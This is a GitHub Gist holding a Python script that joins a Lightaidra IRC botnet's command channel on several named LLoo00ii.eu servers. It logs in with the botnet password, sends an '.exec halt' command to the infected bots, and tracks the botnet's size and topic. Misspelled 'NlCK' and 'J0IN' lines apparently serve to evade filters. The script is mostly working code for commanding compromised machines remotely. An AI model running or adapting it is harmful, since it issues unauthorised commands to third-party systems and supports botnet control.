Created
February 10, 2016 13:45
-
-
Save CanadianJeff/ab57b40cf4473a372040 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import string | |
import threading | |
import time | |
import sys | |
import socket | |
import JustIRC | |
def get_random_nick(): | |
random_part = "".join([random.choice("abcdef0123456789_") for i in range(10)]) | |
return "[M]{}".format(random_part) | |
def get_datetime(): | |
return time.strftime("%d/%m/%Y %I:%M:%S %p") | |
def log(t): | |
print("[{}] {}".format(get_datetime(), t)) | |
class BotnetClient: | |
def __init__(self, address): | |
self.bot = JustIRC.IRCConnection() | |
self.port = int(26664) | |
self.topic = None | |
self.nick = get_random_nick() | |
self.botnet_size = 0 | |
self.motd = False | |
self.joined = 'False' | |
self.chan = '#z#' | |
self.passwd = 'lol' | |
self.exec = 'halt' | |
self.channels = [] | |
#Event handlers | |
self.bot.on_connect.append(self.on_connect) | |
self.bot.on_connect.append(self.do_login) | |
self.bot.on_connect.append(self.do_cmd) | |
self.bot.on_welcome.append(self.on_welcome) | |
self.bot.on_public_message.append(self.on_message) | |
self.bot.on_packet_received.append(self.on_packet_received) | |
self.bot.connect(address, self.port) | |
self.bot.run_loop() | |
def on_connect(self, bot): | |
bot.send_line("NlCK {}".format(self.nick)) | |
bot.send_line("USER pwn localhost localhost :Lightaidra ;)") | |
def do_login(self, bot): | |
log("Attempting to login with password {}.".format(self.passwd)) | |
bot.send_line("PRIVMSG {} :.login {}".format(self.chan, self.passwd)) | |
def do_cmd(self, bot): | |
log("Executing command: {}".format(self.exec)) | |
bot.send_line("PRIVMSG {} :.exec {}".format(self.chan, self.exec)) | |
def on_welcome(self, bot): | |
threading.Thread(target=self.thread, args=(bot,10)).start() | |
def on_message(self, bot, channel, sender, message): | |
print("Message: [{}] {}: {}".format(channel, sender, message)) | |
def on_packet_received(self, bot, packet): | |
# print(" {} {}".format(packet.command, ",".join(packet.arguments))) | |
if packet.command == "001": | |
log("Welcome to the IRC Network {}".format(self.nick)) | |
elif packet.command == "002": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "003": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "251": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "252": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "253": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "254": | |
log("{}".format(" ".join(packet.arguments[1:]))) | |
elif packet.command == "322" and self.chan in "".join(packet.arguments): | |
self.botnet_size = packet.arguments[2] | |
elif packet.command == "332" and self.chan in "".join(packet.arguments): | |
topic = packet.arguments[2] | |
if topic == "No topic is set.": | |
self.topic = None | |
else: | |
self.topic = topic | |
elif packet.command == "333" and self.joined != "True": | |
log("{}".format(" ".join(packet.arguments))) | |
elif packet.command == "404": | |
log("{}".format(" ".join(packet.arguments))) | |
elif packet.command == "422": | |
self.motd = 'True' | |
# if packet.command == "322" and self.joined != "True": | |
# self.channels.append = ("".join(packet.arguments[1])) | |
# log("Channels: {}".format(self.channels)) | |
def thread(self, bot, t): | |
while True: | |
try: | |
self.time_event(bot) | |
time.sleep(t) | |
except KeyboardInterrupt: | |
sys.exit(0) | |
def time_event(self, bot): | |
if self.motd == 'True': | |
if self.topic: | |
t = "{}".format(self.topic) | |
else: | |
t = "Botnet is idle..." | |
if self.botnet_size == 0: | |
bot.send_line("J0IN {}".format(self.chan)) | |
bot.send_line("JOIN {}".format(self.chan)) | |
else: | |
log("{} Bots in {}: {}".format(self.botnet_size, self.chan, t)) | |
self.joined = 'True' | |
self.bot.send_line("TOPIC {}".format(self.chan)) | |
self.bot.send_line("LIST") | |
socket.setdefaulttimeout(15) | |
while True: | |
for server in ["tor.LLoo00ii.eu", "server.LLoo00ii.eu", "server1.LLoo00ii.eu", "server2.LLoo00ii.eu"]: | |
log("Trying to connect to {} on ...".format(server)) | |
try: | |
client = BotnetClient(server) | |
except socket.error: | |
log("Connection to {} failed.".format(server)) | |
except KeyboardInterrupt: | |
sys.exit(0) | |
except Exception as e: | |
log("Exception: {}".format(e)) | |
sys.exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment